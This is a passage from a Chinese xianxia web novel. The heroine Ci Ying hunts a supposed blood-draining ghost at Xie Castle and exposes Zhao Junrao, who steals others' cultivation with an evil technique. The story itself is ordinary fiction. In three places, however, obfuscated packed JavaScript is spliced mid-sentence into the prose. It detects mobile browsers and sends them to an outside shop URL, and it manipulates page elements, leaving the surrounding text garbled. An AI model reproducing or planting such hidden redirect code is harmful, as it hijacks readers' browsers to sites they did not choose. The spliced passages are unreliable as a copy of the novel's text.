“我特么还想问呢!”辞盈差点跳起来,“说好的缚仙锁,到我手里变成个球,一扔出去就没影了。那到底是个什么玩意儿?” 游乘风心虚地把头埋得更低。 老祖只吩咐他取缚仙锁,谁曾想那落灰的架子上竟摆着两个一模一样的破木盒? “照这么说,倒是老夫冤枉你了?”执法长老从鼻腔里哼出一声,“那你又为何要与那魔头拉拉扯扯?” 你**的。 辞盈深吸一口气,压下骂人的冲动,抬眼反问:“若我不同他虚与委蛇,在座诸位谁肯挺身而出?传功长老跟你有仇是吗?你巴不得他被钟离渊弄死?” “你……”执法长老猛地拍案而起,“岂有此理!” “释放魔头在前,勾结魔头在后,众目睽睽之下还敢顶撞尊长,今日老夫定要替宗主清理门户!” 他撩起袍袖,扬手就要打。 “且慢——” 正堂中央的江鹤川终于开口。 他神情温和如邻家老翁,轻轻叹了口气:“此事怪我。若早些交代清楚,也不会闹出这般祸事。那木盒里放的,本是相思咒的灵球。” “相思咒?怎么以前从未听过?”游乘风见没人追究自己,立刻来了精神。” 辞盈的下眼皮抽搐了一下——相思咒,听名字就很不正经。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101539|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹤川解释:“此咒乃是三百年前问心剑宗咒术师所创。一旦生效,中咒者便要对施咒人言听计从——”他顿了顿,目光落在辞盈脸上,缓缓吐字, “至死方休。” “这不就跟玄武教的傀儡术一样?” 江鹤川摇头:“傀儡术是将人变成不能思考、无知无觉的工具,相思咒却不同。中咒者与常人无异,只是对施咒人用情至深、相思入骨,才会心甘情愿任其差遣。” “这……世间竟有这样的咒术,万一是个男子对我施咒……”江羡之想想就起了一身鸡皮疙瘩,紧忙摇头把可怕的画面从脑子里甩出去。 “相思咒术的灵球极难炼制,因此世间仅余此一枚。”江鹤川看向辞盈,“钟离渊几次想要杀你,却无论如何也下不去手,说明你便是他的施咒人。” 辞盈虽然早就隐约有了猜想,听到这里还是两眼一黑,差点儿厥过去。 一个爱慕者,听起来还不错。 但如果他恰好是个自幼痛失双亲、多年被拘禁,杀人比杀鸡还容易的心理扭曲的变态…… 那就是恐怖片了好嘛,分分钟就能因爱生恨把她剁成肉馅包饺子了! 游乘风眼睛发亮:“这不是正好?小师妹大可指使他做事,趁机教训九曜派和玄武教啊!” “该让辞盈亲手杀了钟离渊,也算抵了放他出来的罪过。” “为防有失,不如待宗主回来,再让辞盈将钟离渊引来,我们大家埋伏在侧,趁机斩杀,这样一来可保万全。” 辞盈把到嘴边的脏话咽回去:“你们有没有一招是不用我去色诱的?” 江羡之也急了:“不行!太危险了!万一小师妹被抓去成亲,我怎么跟师尊交代?” “上天有好生之德。” 江鹤川缓声道,“若能借此机会引钟离渊走上正途,才是功德无量。辞盈,你有信心劝他改邪归正吗?” 辞盈摇头:“我哪有那本事……等一下,老祖你刚才说什么?功德……无量?” “正是。” “成交!” 一瞅见刚清空的功德框,她就胃疼。 小小钟离渊么,包拿下的。 江鹤川十分欣慰:“钟离渊恐怕不敢轻易来暮苍山闹事,明日你便下山去吧。切记要驱魔卫道,不可恃强凌弱,否则水云剑宗定不轻饶。” 暮苍山脚下,石阶层层叠叠一眼望不到尽头,草木苍翠,桃花灼灼,恰似三年前辞盈被救回来时的模样。 “我只能送你到这儿了。小师妹多保重。”游乘风在山门口驻足。 辞盈嗯了一声,回头望向云麓殿方向。 师尊,我不能在家好好等你回来了。 “这个……会不会太重了?”游乘风指了指她背后巨大的包裹,“乾坤袋还不够你装吗?” “完全不够。”她拽紧包裹,在肩上又打了个死结。 恋爱是可以不谈的,盘缠是一定要带够的。 她特意找了最结实的被罩,把什么蓑衣罗盘,衣服干粮,以前师尊送的符咒灵药,从二师兄那坑来的金银细软,连临走前卓雁行黑着脸送她的赤灵果都一股脑打包带走了。 俗话说,差生文具多嘛。 辞盈行了两日才到县上,见到茶摊便坐下。茶博士肩上搭着汗巾,殷勤地过来招呼:“姑娘要喝什么?” “随便,便宜的就行,白水也行,哎,你家有馒头吗?” 那茶博士却笑道:“姑娘想吃什么尽管吩咐,那位公子都付过钱了。” 辞盈心想这都是什么老套的搭讪剧情,顺着茶博士的目光看过去,果然有个浅色轻衫的年轻公子端坐在角落。 10. 谢家堡 他腰间佩玉,还缀了一颗圆润光泽的夜明珠,手中风骚地执一把花折扇,坐在那粗笨的旧长木凳上竟也丝毫不减贵气,正笑意盈盈地望过来。 别人腰间佩剑,这位江公子向来只坠玉佩。远远瞧着,倒也是个芝兰玉树的人物。 “二师兄?”辞盈惊讶道,“穿这么扎眼,又要去和人斗剑?” 江羡之走过来坐在她旁边:“自然不是,你别想再讹我一千灵石。” “那你下山干嘛?” “当然是看着你啊!”江羡之理直气壮,“师尊临行前特意嘱咐我看好你,万一你被那钟离渊给拐跑了,或者被什么黑猩猩给吃了,我怎么跟师尊交代?” “哎呦,没看出来你责任感这么强。”辞盈上下仔细打量他,“你是我二师兄吗?不会是冒牌儿的吧?” 正说着,忽然飞来一张薄纸片糊在脸上,竟是半截烧焦的纸钱。 远处传来唢呐声,一队送葬队伍浩浩荡荡而来,年轻女子怀抱着孩子跌跌撞撞,老人哭得几近昏厥。 死的是个家中顶梁柱。 旁边菜摊大婶感叹:“白发人送黑发人,可怜哪。” 买萝卜的好奇:“他家三郎不是在谢家堡做镖师吗?身手好得很,怎么突然就死了?” 卖菜的压低声音:“被厉鬼吸干了精血,据说发现的时候,人都被吸成干尸了!” 买菜的半信半疑:“瞎说的吧?” 送葬队伍走到跟前,除了唢呐声震得人耳朵嗡嗡响,什么也听不见。 辞盈耐着性子等队伍过去,才听见卖菜的说: “我听说,是个什么剑宗把一个红衣服的大鬼给放出来了,那大鬼怨得狠,一晚上就把逍遥山庄里能拿剑的全给咬死了。谢堪的妻妹自打从逍遥山庄逃回来就疯疯癫癫,依我看,就是她把逍遥山庄的厉鬼带回来的!” 辞盈和江羡之对视一眼:钟离渊的第一批受害者已经出现了,这逍遥山庄还真是倒霉。 “那谢堪的妻妹怎么能逃出来?她难道比逍遥山庄的庄主还厉害?” 卖菜的笑道:“哪里是她逃出来的,是那大鬼见她貌美不忍心杀,把她给放了。” “长得好看还真能救命啊,”买菜的也笑,“那大鬼怕是个色鬼吧,谢堪的妻妹到底有多美,我可真得找机会见见。” “要菜吗?新鲜的!”卖菜的大婶一边东张西望拉客一边说,“谢堪的妻妹我见过,是挺俊的,哎,你别说,跟这姑娘长得还真挺像。”大婶眼睛一亮,指着茶摊上喝茶的辞盈说。 辞盈一口茶水喷出来,呛得满脸通红。 江羡之小声蛐蛐:“钟离渊还真是用情至深,见着跟你像的都舍不得杀。” 辞盈翻了个白眼:“他拿我撞墙的时候可没看出半点儿舍不得来,要不你也照我这模样,用法咒变个脸保平安?” 江羡之一甩折扇:“还是算了,万一他再爱上我怎么办,君子不夺人之美。” 辞盈懒得搭理他,转头问卖菜的:“大婶,请问谢家堡怎么走?” 卖菜的一愣,好心劝道:“那地方最近不太平,姑娘要没什么事最好别去凑热闹。” 江羡之拍了拍腰间的剑,胸有成竹:“大婶放心,我们就是去抓鬼的。” 问清了去路,辞盈猛地瞪大眼,指着江羡之身后,声音都变了调:“那是什么?!” 江羡之刚一转身,后心便“啪”地贴上张黄符。下一秒,他整个人像被钉在了原地,手脚僵硬,动弹不得。 “小盈!你敢阴我?!”江羡之急道,“你这丫头还有没有长幼尊卑啦!” 辞盈绕到他跟前,整了整他挡住眼睛的碎头发:“二师兄,你的好意我心领啦。但区区一个小鬼,我自己就能搞定。等定身符半个时辰后自己解了,你就赶紧回水云剑宗去。不然啊——”她故意拖长了调子,“我就去告诉师祖母,你偷偷御剑下山的事儿。” “你!”江羡之气结,“你收了我三块上品灵石,答应保密的!怎么能反悔?!快给我回来!” 她拍拍包裹上的灰,将他的话当做耳旁风,朝谢家堡去了。 阴云沉沉地压着月亮,谢家堡大门口那两盏红灯笼晃得厉害,光怪陆离的红光映在斑驳的门扉上,透着说不出的诡异。 街上空荡荡的,连条狗影都没有。路旁的老屋歪歪扭扭杵在阴影里,破窗纸被风刮得吱呀响,活像有什么东西正躲在暗处窥伺。 辞盈脊背莫名一凉。 三年来,这被人盯着的感觉,她太熟悉了。可这次,那目光里的阴冷,比往常都要重。 可她扫视四周,依然毫无发现。 堡主谢堪不在,谢夫人听闻她是水云剑宗弟子,脸上立刻堆起热络的笑,将她请进正堂。 “三天里,那厉鬼已经害死六个镖师了。”谢夫人保养得宜的脸上笼着层愁云,她衣着华贵却透着股英气,“不瞒仙长说,我谢家堡吃的就是走镖护驾的饭。如今连自家镖师都护不住,实在没脸对外声张。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101540|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞盈点头会意:“夫人放心,我只为捉鬼,绝不多嘴。只是——”她话锋一转,“夫人怎么确定是厉鬼所为?我听说有种邪功,也能吸人精血……” 话没说完,厢房突然爆发出一声凄厉的尖叫。 辞盈跟着谢夫人急匆匆奔过去,只见房里一个容颜姣好的年轻女子发髻散乱,神色疯癫,惶恐地缩在墙角瑟瑟发抖: “它又来了,它来杀我了,它又来了……” “君娆别怕,阿姐在呢。”谢夫人拉过女子的手,声音放得极柔,“阿姐绝不会让你出事。” “它要所有人的命!要吸干我们的血!啊——!”赵君娆突然捂着脑袋尖叫。 辞盈不言不语,只静静看着谢夫人喂她吃安神药。 “仙长可知,钟离渊血洗了逍遥山庄?”出了房门,谢夫人脸上多了层怒色:“我妹妹定是被那逍遥山庄里的怨鬼给缠上了。也说不定,就是钟离渊会杀人吸血,才会生出如此恶鬼?” 辞盈摇摇头:“没听说过。” 谢夫人越想越气,一拍桌子:“可恨那恶鬼只对镖师下手,却没胆量来与我一斗!” “夫人莫急。”辞盈从百宝袋里摸出个巴掌大的罗盘,指尖在盘面上虚点几下,嘴里念念有词。罗盘上的指针“嗡”地跳起来,疯狂转了几圈,最后“咔哒”定在了后院方向。 “果然有邪物!”谢夫人猛地站起身,从墙上摘下长剑就要往外冲。 辞盈大吃一惊,这鬼要是被谢夫人收了,她的功德岂不是泡汤了?今天不就白忙活了? “夫人!夫人留步!”她赶紧跳过去拦住,一脸严肃,“恶鬼狡猾得很,说不定会趁机去害令妹。不如您去守着君娆姑娘,这恶鬼交给我便是。” 谢夫人犹豫片刻,喊来一高一矮两个壮汉:“这两位是我堡里最得力的镖师,让他们陪你去,我也放心些。” 辞盈只好点头:“二位跟着我就好,不必上前。” 不必上前……分我的功德。 刚一踏进后院便阴风阵阵,森然的鬼气扑面而来。院子中央有一口黑洞洞的老井,直觉告诉辞盈那里头有东西。 她示意两位镖师稍等,自己缓步行至井边。 井口又窄又深,往下望去,黑得不见底,仿佛有什么东西正顺着井壁往上爬,看得人后脖颈直冒冷汗。 辞盈正想摸张符纸试试深浅,突然感觉小腿被什么东西死死攥住了! 低头一看——竟是条惨白干枯的手臂! 11. 捉鬼 那手瘦得只剩层皮裹着骨头,指甲又黑又长,正从井里伸出来,死死抠着她的脚踝! “卧草……”辞盈吓得飙出脏话,却还不忘绷着水云剑宗的面子,硬生生把字咽了回去,强作镇定:没事没事,小场面,不过是只小鬼。 可那手看着干瘪,力气却大得惊人,猛地一拽,她整个人瞬间往前踉跄,差点被拖进井里! 就在这时,一道寒光“唰”地从天而降!锋利的流光剑像切豆腐似的,“咔嚓”一声就把那截手臂斩成了两段! “发什么呆!快收了它!”江羡之不知从哪儿冒出来,急声喊道。 辞盈这才回过神,慌忙掏出师尊给的小葫芦,捏着诀念咒:“收!” 她这半吊子修士,碰上井里那半吊子鬼,倒像是天意。那鬼连声哀嚎都没来得及发,就被轻轻松松吸进了葫芦里。 金黄小字闪了一下: 「功德+1」 「当前:1/3000」 辞盈叹了一声。 心酸呐…… “仙长好神通啊!” “仙长真乃神人也!” 身后两位镖师好像头一次见着神仙显灵,大喜过望,恨不得当场给辞盈跪下磕一个。 本来按资排辈,估计明天死的大概就该是他俩了。俩人战战兢兢愁眉苦脸一天,差点儿没抱头痛哭。这下可好,天降女神仙,轻轻松松便把厉鬼从井里揪了出来,明天可以不用死了,怎能不喜! 辞盈故作高深:“恶鬼已除,诸位尽可以放心了。” 话音未落,便听一个娇蛮的女声喝道:“还我鬼来!” 辞盈抬眼望去,只见个少女从隔壁院墙翻了进来。她看着比辞盈还小几岁,身量纤纤,穿件鹅黄色单丝罗花笼裙,衬得肌肤雪白,娃娃脸上一双大眼睛水灵灵的,此刻却瞪得溜圆:“你凭什么收我的鬼?快还给我!” “原来是你放的恶鬼!”两个镖师怒冲冲围上去,“你害死我们六位兄弟,今天非得偿命不可!” “什么镖师?”少女面对两个壮汉,半分不惧,嘴角一撇,“谢家堡除了谢堪,全是废物。要你们的命有什么用?还不如我这井里的小鬼好使唤些。” “岂有此理!” “欺人太甚!” 两个镖师正要发作,谢夫人便从前院赶来,示意二人不要轻举妄动。 辞盈问道:“你怎么证明这鬼是你的?” 少女纤细的手腕上系着一串银铃,她轻轻一抖,辞盈手里的葫芦便同频震动起来。少女有些得意道:“看见了吗?我早就把它收为己用了。” 有一些门派是专修邪门歪道的,比如九曜派,他们擅长召唤鬼魂亡灵为自己所用。但这类功法其实会损伤自己的阳寿,也为名门正派所不耻。 她手上的银铃就是驱使冤魂恶鬼的法器。 不论如何,吃进去的功德绝不可能再吐出来。辞盈道:“就算你能证明这鬼是你的,也不能说明人不是它杀的。” “依我看就是她放鬼害人,仙长,绝不能把鬼还她!”矮镖师道。 少女怒道:“矮冬瓜,我看你是存心找打,信不信我现在就让你满地找牙!” “口出狂言,今日我们便替那几个枉死的兄弟报仇!”高镖师说完,利剑出鞘,直朝少女的胸口刺去。 几乎是同时,江羡之在那高镖师手腕处弹了一下,对方只觉腕上一麻,长剑登时脱了手。紧接着他又上前一步挡在少女面前,剑鞘稳稳架住矮镖师劈下来的长刀,劝说道:“二位先别急着动手,我有一个主意。” 矮镖师的长刀像块碎掉渣的饼干,直接豁出个可怜的口子。 再看江羡之手里的剑,纹饰精致,光泽如流云流转,泛着淡淡的银光。哪怕是外行人,也看得出这是柄绝世好剑。 传闻这流光剑是兵器大师彦虚子所铸,坚韧无匹,普通刀剑一碰就碎。当年问心剑派掌门墨翊,用一件神秘邪煞法器才换得此剑,赠予妻子幼青防身。 墨翊夫妇琴瑟和鸣,流光剑与问心剑齐名于世,斩杀无数妖邪,乃是当时一段美谈。 后来墨翊夫妇双双殒命,江鹤川用问心剑封印了钟离渊。等墨让尘长大,因他剑气刚猛,有排山倒海之势,不适合流光剑,江鹤川又特意为他寻了醉花剑,而流光剑便一直藏在水云剑宗的藏器阁里。 再后来等到江羡之的修为小有所成,叶棠就为他求了流光剑防身。 这把曾经令天下妖邪闻风丧胆的宝剑在江羡之手里,唬人的作用大于杀敌。因为剑身有英灵之气,普通小鬼小妖不敢招惹,见到他不用打就直接吓跑了。 而若是他真的拔剑开打,其实也就那么回事儿。 江羡之随手一挡,就把别人吃饭的家伙式儿给毁了,当下十分歉疚:“对不住啊这位兄弟,你这刀多少钱,我赔。” 矮镖师看了看辞盈,也不好意思真要钱,悻悻地说:“看在仙长帮我们捉鬼的份儿上,算我倒霉。” 江羡之又转向谢夫人:“在下江羡之,师承水云剑宗宗主墨让尘,家父是水云剑宗清衍真人。” 又来了。 这货每次自报家门非得捎上墨让尘和老祖,满脸骄傲神采飞扬,感觉不拿根绳拽着他都能飘起来。 谢夫人果然露出钦佩之色:“原来是墨宗主的高徒,清衍真人的大公子,失敬失敬!” 辞盈无语地看着他故作谦虚,十分受用的样子。 爽了爽了,他又爽到了。 江羡之美滋滋一指辞盈:“这是我小师妹,也拜在我师尊名下。” “仙长果然道法高超!” 辞盈只好陪着尬笑两声。 咱俩这水平就别满世界给师尊丢人了好嘛。 黄衣少女却一脸不以为然,冲着江羡之后脑勺问:“你到底有什么主意?” 江羡之一本正经道:“我们不如住在这里再等上几天。如果不再死人,就说明我们抓对了。如果明天又有人死了,就说明你和你的鬼是冤枉的。” 两个镖师一听就炸了:“你这是拿我们的命做试验啊!” 江羡之说:“哦,那我还有一招。不然让小盈现在就把鬼放出来,大家一起观察它到底会不会吸血杀人。” “……” 两个镖师:“……那什么,再等两天吧,其实我们也不太着急。” 黄衣少女撇嘴:“我干嘛要跟你们住在这闹鬼的破地方,万一明天早上起来死的是我呢?” 辞盈道:“你可以跟我一起住,我保护你。” 少女不屑道:“开什么玩笑,你保护我?你刚才差点儿被我的小鬼扯到井里淹死了!” 谢夫人道:“你也可以同我住。” 少女道:“我跟陌生人睡不惯。再说,谁知道你是不是好人,万一你自己就是那个杀人魔呢?” “胡说八道!我们堡主夫人岂会杀害自己人!” “你少在这贼喊捉贼了!” 两个镖师又愤怒地吵嚷起来。 “我来守你吧。”江羡之突然开口,“今天晚上我就守在你门外,你尽管放心睡。” 少女愣了一下,上下打量他:“还是不行,万一你就是坏人,要伺机杀我呢?” 众人心里都烦躁起来。这少女虽说生了一副纯真无邪的好模样,疑心却这样重,当真是半点也不可爱。 江羡之解下腰间的流光剑,递给她:“你拿着这剑,天亮了再还我。” 少女半信半疑地接过剑,掂了掂,反问:“那要是有恶鬼来了,你岂不是手无寸铁?奇怪,难道你不怕死吗?” 江羡之笑了:“你拿着这剑,恶鬼不敢靠近。我好歹是师尊的弟子,还怕几个小鬼?” 少女仍不信他,毫不客气道:“你要是敢半夜闯进来,定叫你死得很难看。” 江羡之郑重其事地保证:“我若踏进房门半步,任凭姑娘处置。” 众人各自歇下。谢夫人亲自引辞盈到客房门口,忽然攥住她的手,那力道像抓住救命稻草一般,眼里满是恳切:“仙长既是墨宗主亲传弟子,必定神通广大。我……我还有一事相求。” “夫人请讲。”辞盈心想,师兄吹牛我善后,找机会一定要把他嘴缝上。 谢夫人眼圈泛红,声音发颤:“我家小妹君娆,不知是被恶鬼缠上,还是被那杀千刀的钟离渊吓破了胆,整日疯疯癫癫的。白天把自己锁在房里唱歌,夜里就哭嚎不止,实在可怜。” 她说着,戚然抹了把泪:“君娆是家里老幺,打小娇养着。年纪轻轻就没了丈夫,又没个孩子,孤零零的……求仙长发发慈悲,救救她吧。” 辞盈脸上维持着体面的微笑,语气却淡了几分:“谢夫人,恕我直言。令妹以前是在逍遥山庄做事吧?据我所知,那山庄明着做木材生意,暗地里却是挖坟盗墓、杀人越货的勾当。这种地方出来的人,哪会轻易被吓破胆?” 谢夫人素来行得正坐得端,闻言脸上一阵发烫,却仍不死心:“那……会不会是逍遥山庄的怨鬼缠上了她?跟害镖师的是同一个?仙长可有法子让她清醒过来?” 辞盈略一思忖:“阴邪之物最怕日光。明日正午,您带她到太阳底下坐一个时辰,我自有办法替她驱邪。” 谢夫人却面露难色:“君娆这次回来后,连光都不愿见。若是白天强拉她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101541|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出门,她甚至会以死相逼。” “既如此,就别逼她了。”辞盈摆摆手,“夫人早些歇息,明日我再去瞧瞧令妹。” 谢夫人千恩万谢地走了。 天光似亮未亮,长夜正浓。谢家堡像头困兽,在死寂中沉睡着。 打更人巡了一夜,脚步沉得像灌了铅,眼皮重得快粘在一起。他提着铜锣,有气无力地晃到堡门口,忽见地上散落着一套衣裤。料子名贵,一看就不是普通人穿的。旁边还扔着把锋利的弯刀。 他走近几步,借着红灯笼那点渗人的光细看,衣裤里似乎裹着什么东西。更夫疑惑地拎起裤子,却从空荡荡的裤管里滚出两截白花花的硬物。 定睛一看——竟是人的腿骨! “啊——!” 惨绝人寰的哀嚎像炸雷,劈开了谢家堡的死寂。 “堡……堡主没了!” 辞盈赶到正堂时,整个谢家堡已经乱成一锅粥。 谢堪年逾古稀的老母亲听闻噩耗,当场就昏死过去。 谢夫人怀里搂着哭嚎的幼子,双眼赤红,目眦欲裂:“我赵君仪在此立誓,必将那恶鬼挫骨扬灰,为夫君报仇雪恨!” 话虽掷地有声,可这仇该找谁报、怎么报,她心里一片茫然。 黄衣少女姗姗来迟,瞥了眼地上那具干瘪如枯木的尸体,嗤笑道:“都说了不是我的鬼干的,现在信了吧?” “这恶鬼太厉害,就在门口杀人,我们竟半分鬼气都没察觉到。”江羡之叹气,“早知道该多带些法宝出来。” “还以为你多厉害呢,”少女嘲讽道,“原来不过是个靠法宝撑场面的纨绔子弟。” 江羡之也不恼,笑道:“我何时说过我厉害了,那法宝可是师尊送我的,当然是最厉害的。” 少女白了他一眼,不想再同这没脾气的傻子说话。 尸体的血肉被吸食殆尽,脑袋干瘪如骷髅,已是面目全非。辞盈蹲下身,正在查看残余的尸骨,后院踉踉跄跄奔进来一个下人,声音抖得不成样子:“仙长!快去瞧瞧!二小姐……二小姐被鬼上身了!” 辞盈猛地起身,几步抢出,刚过廊门,正赶上赵君娆举着腰刀当头劈下,她一侧身,刀锋擦着她的鼻尖划过,险些削掉一层皮。 赵君娆面部扭曲,表情狰狞,仿佛被一种无形的力量操控着胡劈乱砍,也不管对面是人还是墙,是猪还是狗,混乱中连自己的腿也划开道口子,鲜红的血浸透了纱裙。 辞盈迅速抽出张符纸,瞅准时机往她背上一拍,低喝:“倒!” 赵君娆像突然断了电的木偶,双眼一闭,直挺挺倒在辞盈怀里。 谢夫人这才从堂中赶来,见妹妹浑身是伤、昏迷不醒,胸口的怒火几乎要炸开。她再也按捺不住,当即让人取来佩剑,高声喝道:“我家门不幸,遭此邪物残害!若不报仇,还有何颜面立足于世!诸位兄弟有血性的,随我去逍遥山庄讨个说法,端了那恶鬼老巢!” 豪言壮语既出,四下一片死寂,连呼吸声都听得一清二楚。 谁也没应声。 逍遥山庄从前就是个没人敢惹的刺儿头窝,但跟如今比起来倒也不算什么了。谁不知道那山庄里满是杀人越货的好手,却被一个叫钟离渊的一夜屠尽? 这时候去送上门,真是千里送人头,礼轻情意重,还不如直接去附近投湖,起码不用长途跋涉磨破鞋底。 黄衣少女嗤笑:“我赌三个馒头,没人会跟你去。灭门这种事儿,刀不杀到自己脑袋上,谁愿意出头?” 辞盈将肩上扛的赵君娆丢给旁边的家丁,安慰谢夫人:“夫人冷静,令妹只是一时失魂,我这符纸也不伤人,半刻便会自觉苏醒。家中尚有老幼,夫人还需从长计议。” 谢夫人原本气得失了理智,被她这话一点,如梦初醒,凄然向辞盈一拜:“多谢仙长。” 辞盈扬声道:“今夜那恶鬼定会再次现身,我掐指一算,已经知道它要杀的是谁。” “是谁?!” 在场的人瞬间屏住呼吸,连看门的狗都被家丁捂住了嘴。 空气中弥漫着令人窒息的惶恐,每双盯着她嘴唇的眼睛里都写满了惊惧,只怕她吐出自己的名字,就等于被阎王爷从生死簿上划掉了。 特别是那一高一矮两个镖师,论身手,昨天夜里就该排到他俩,只不过堡主谢堪临时回家插了个队。二人当下抖似筛糠,两条腿几乎不能站直。 “小盈,你真的算到了?”江羡之吃惊道,“怎么算的?” 辞盈也不答话,目光平静地扫过每个人的脸,最终落在黄衣少女身上,笃定道:“它今晚要杀的人,一定是你。” 12. 错金博山炉 其他人顿时松了一口气,高矮镖师甚至忍不住露出劫后余生的喜色。 “杀我?”少女还算镇定,挑眉反问,“我又不是谢家堡的人,凭什么是我?” “天机不可泄露。”辞盈无所谓地笑笑,“信不信由你,明天早上便知分晓。” “故弄玄虚,我看你才心里有鬼。”少女不屑地哼了一声,眼角余光瞥见身旁的江羡之,顿时拧起眉,“你干嘛用这种看死人的眼神看我!” 江羡之连忙摆手:“你放心,今晚我还守着你,绝不让你出事!” “谁要你守!”少女把流光剑往他怀里一塞,“还你,我不稀罕。” 江羡之又将剑推回去:“不行,你得带着它防身。” 少女再推:“你那么弱,你才需要这剑呢。” “我一个大男人怕什么,你是姑娘家……” “咳咳……”辞盈清了清嗓子,“二位要是都嫌它碍事不如给我得了,我不嫌沉。” 江羡之瞪她一眼:“你别捣乱。” 辞盈又向少女问道:“还不知道你叫什么名字,家住哪里?万一你有个三长两短,我好去你家里报个信儿。” 少女冷哼一声:“我无名无姓,无父无母,死了也没人在意。比不上你出身名门,又是师兄又是师尊的那么好命。” “怎么没人在意?”江羡之脱口而出,又立刻闭了嘴,故作淡定地摇了摇手中的桃花扇。 少女瞧了他一眼,颊边漾出浅浅的梨涡:“呆子,你叫我白芷吧。” 辞盈自从穿越过来倒霉了三年,头一次被人说幸运,真是哭笑不得。 她忽然想起什么,转身对谢夫人嘱咐:“今天晚上请告诉大家务必关好门窗,不管听到任何声音都千万别出来。” 谢夫人有些担心,诚心道:“我愿助仙长一臂之力。” 辞盈笑道:“我虽然法力不济,身上却有师尊传的五十年修为。夫人或许听说过,我师尊墨让尘是当今天下最刻苦勤勉之人,他的修为至精至纯。哪怕是个普通人,得了他的助力也能一步登天。” 她说话的音量骤然提高,像生怕别人听不见似的。 “师尊传了你五十年修为?!”江羡之惊得嘴都合不拢,“你怎么早不说?他老人家果然偏心!” 辞盈没理他,另有深意地继续道:“可惜我资质愚钝,虽得了这修为,却只能收些鬼怪,若是碰到有些法力的修行之人,便毫无还手之力了。实在惭愧。” 谢夫人这才稍稍放下心,又寒暄几句,便回房安排去了。 黑云蔽月,寒鸦四起。枯树被斩了首,散发着腐朽的味道,举手朝天,无处申诉。 谢家堡不远处的树林里,辞盈闲庭信步地踩在层层叠叠的枯叶之上,像个失眠的可怜人在等天亮。 忽然,一股幽香蕴在夜风中散入林间,钻入口鼻令人心醉,连骨头也酥软了,枝丫上的鸦雀纷纷如死物一般栽倒在泥土里。 辞盈靠着一棵树勉强坐下来,瘫软如泥。 轻巧绵柔的脚步渐近,声音透着压抑不住的狂喜:“墨让尘竟会将自己的修为送给你这样的蠢货,简直是暴殄天物,倒不如让我替你消受了。” 果然被引来了,不枉我早上拿修为吹嘘半天。 辞盈平静地望着来人:“你杀其他镖师我还能猜到一二,可你为何要杀死谢堪?你姐姐对你难道还不够好?” 赵君娆不用再装疯卖傻,神情高傲又警惕,倒比平时更美艳了几分,像一条危险无比的毒蛇,时刻准备伺机而动。 “你说赵君仪对我好?”她像是听到天大的笑话,捧腹大笑了半天,眼泪都快笑出来了,“她不过是随手施舍我一个住处,没把我赶出去罢了。逍遥山庄被屠,我死了夫君,无家可归。她倒是阖家团圆,整日在我面前作出一副夫妻恩爱的模样,不就是为了恶心我吗?” 想不到天下竟有这样恶毒的心思,辞盈皱眉反问:“就因为你死了丈夫,所以要你姐姐陪你一起做寡妇?” “呵,原本我倒还能再忍那谢堪几日,可他去别人家做客,竟然回来说,那家的小公子样样都好,要与我说媒。”赵君娆满脸怨恨,“他分明是嫌我碍眼,急着要把我打发了!” “你把人心想得太坏了。我虽然不认识你姐夫,但你姐姐确是真心实意待你,她那么骄傲的人,为了救你向我哭求了许久。”辞盈摇头自嘲,“赵君娆,你比我想象的还要恶毒。跟你比起来,我都能算半个好人了。” “逢场作戏罢了,赵君仪惯会装好人。”赵君娆不耐烦地打断道:“她若真心疼我,就应该将谢家堡钱财人手都借给我,让我重振逍遥山庄。满口仁义道德,实则虚伪至极,我不过是杀了她家护院的几条狗而已,又没都杀光,够对得起她了!” “你没都杀光,难道不是因为你短时间消化不了那么多修为吗?”辞盈站起来,以一种居高临下地态度审视着她,“我猜你从逍遥山庄逃出来的时候,还偷偷带出来一样东西。” 赵君娆目光森然地盯着她:“你知道的倒不少。” 辞盈想起自己在水云剑宗的藏经阁做苦力那两年,可真是被迫学了不少乱七八糟的冷知识。 “一开始我就觉得奇怪,这恶鬼既然挑三拣四,为何却不对我这现成的唐僧肉下手?”辞盈缓缓道,“除非它根本不是恶鬼,而是一个感应不到我圣女之魂的凡人。” “你是桃花坞的圣女?!”赵君娆露出意外的惊喜神色,贪婪道,“没想到那么多门派高手打得头破血流,最后却被我抢了先,真是苍天助我!” “你专挑有内力的人杀,最好是谢堪这样内功深厚的人,总不能是为了极限挑战吧。吸人血肉这样的行为,乍一看很像恶鬼作祟,其实这世上还有一种鲜为人知的邪功,能吸人内力修为化为己用,若发起狠来,便连血肉也能吸干。” 辞盈毫无惧色,目光炯炯地逼视她:“修炼这种邪功的人因为体内阴气过重,是见不得光的,所以你整日把自己关在房间里装疯。而那天你会突然发疯砍自己,也是为了掩盖腿上的伤吧。” 